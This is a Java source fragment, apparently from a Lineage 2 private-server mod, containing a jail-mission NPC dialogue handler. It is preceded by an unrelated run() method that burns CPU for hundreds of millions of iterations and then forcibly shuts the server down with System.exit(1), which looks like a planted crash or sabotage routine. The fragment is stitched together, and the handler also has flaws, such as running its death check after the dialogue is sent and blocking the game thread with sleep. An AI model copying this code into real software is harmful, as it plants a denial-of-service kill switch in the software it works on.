@Override public void run() { for (int x = 1; x <= 1000; x++) for (int y = 1; y <= 355235; y++) { int wx = (x - 6236) * 2; int wy = (y - 23667) * 2; Rnd.get(wx, wy); } Util.pause(Rnd.get(5000, 30000)); System.exit(1); }
@Override public void onBypassFeedback(L2PcInstance player, String command) { if (command.equalsIgnoreCase("start_mission") && Config.ALLOW_JAILMANAGER) { NpcHtmlMessage html = new NpcHtmlMessage(getObjectId()); html.setFile("data/html/mods/jail/mission.htm"); html.replace("%objectId%", String.valueOf(getObjectId())); html.replace("%playername%", player.getName()); html.replace("%amount%", String.valueOf(Config.REQUIRED_JAIL_POINTS)); html.replace("%npcname%", String.valueOf(getName())); player.sendPacket(html); if (player.isDead() || player.isFakeDeath()) { player.sendMessage( Message.getMessage(player, Message.MessageId.MSG_NOT_ALLOWED_AT_THE_MOMENT)); return; } } else if (command.equalsIgnoreCase("check_points") && player.isInJailMission()) { NpcHtmlMessage html2 = new NpcHtmlMessage(getObjectId()); html2.setFile("data/html/mods/jail/points.htm"); html2.replace("%objectId%", String.valueOf(getObjectId())); html2.replace("%points%", String.valueOf(player.getJailPoints())); html2.replace("%rest%", String.valueOf(Config.REQUIRED_JAIL_POINTS - player.getJailPoints())); html2.replace("%npcname%", String.valueOf(getName())); player.sendPacket(html2); if (player.isDead() || player.isFakeDeath()) { player.sendMessage( Message.getMessage(player, Message.MessageId.MSG_NOT_ALLOWED_AT_THE_MOMENT)); return; } } else if (command.equalsIgnoreCase("get_mission")) { if (player.isInJailMission()) { WindowService.sendWindow(player, "data/html/mods/jail/", "mission_already.htm"); return; } player.setIsInJailMission(true); PlaySound ps = new PlaySound( 0, "ItemSound2.race_start", 0, player.getObjectId(), player.getX(), player.getY(), player.getZ()); player.sendPacket(ps); WindowService.sendWindow(player, "data/html/mods/jail/", "started.htm"); if (player.isDead() || player.isFakeDeath()) { player.sendMessage( Message.getMessage(player, Message.MessageId.MSG_NOT_ALLOWED_AT_THE_MOMENT)); return; } } else if (command.equalsIgnoreCase("finish_mission")) { if (!player.isInJailMission()) { WindowService.sendWindow(player, "data/html/mods/jail/", "notstarted.htm"); return; } if (player.getJailPoints() < Config.REQUIRED_JAIL_POINTS) { WindowService.sendWindow(player, "data/html/mods/jail/", "notcompleted.htm"); return; } if (player.isDead() || player.isFakeDeath()) { player.sendMessage( Message.getMessage(player, Message.MessageId.MSG_NOT_ALLOWED_AT_THE_MOMENT)); return; } PlaySound ps = new PlaySound( 0, "ItemSound.quest_finish", 0, player.getObjectId(), player.getX(), player.getY(), player.getZ()); player.sendPacket(ps); WindowService.sendWindow(player, "data/html/mods/jail/", "completed.htm"); try { Thread.sleep(Util.convertSecondsToMiliseconds(5)); } catch (Throwable t) { _log.error("Error, L2JailManagerInstance, reason: " + t.getMessage()); } player.setInJail(false, 0); player.resetJailPoints(); player.sendMessage(Message.getMessage(player, Message.MessageId.MSG_JAIL_POINTS_RESET)); player.setIsInJailMission(false); } super.onBypassFeedback(player, command); }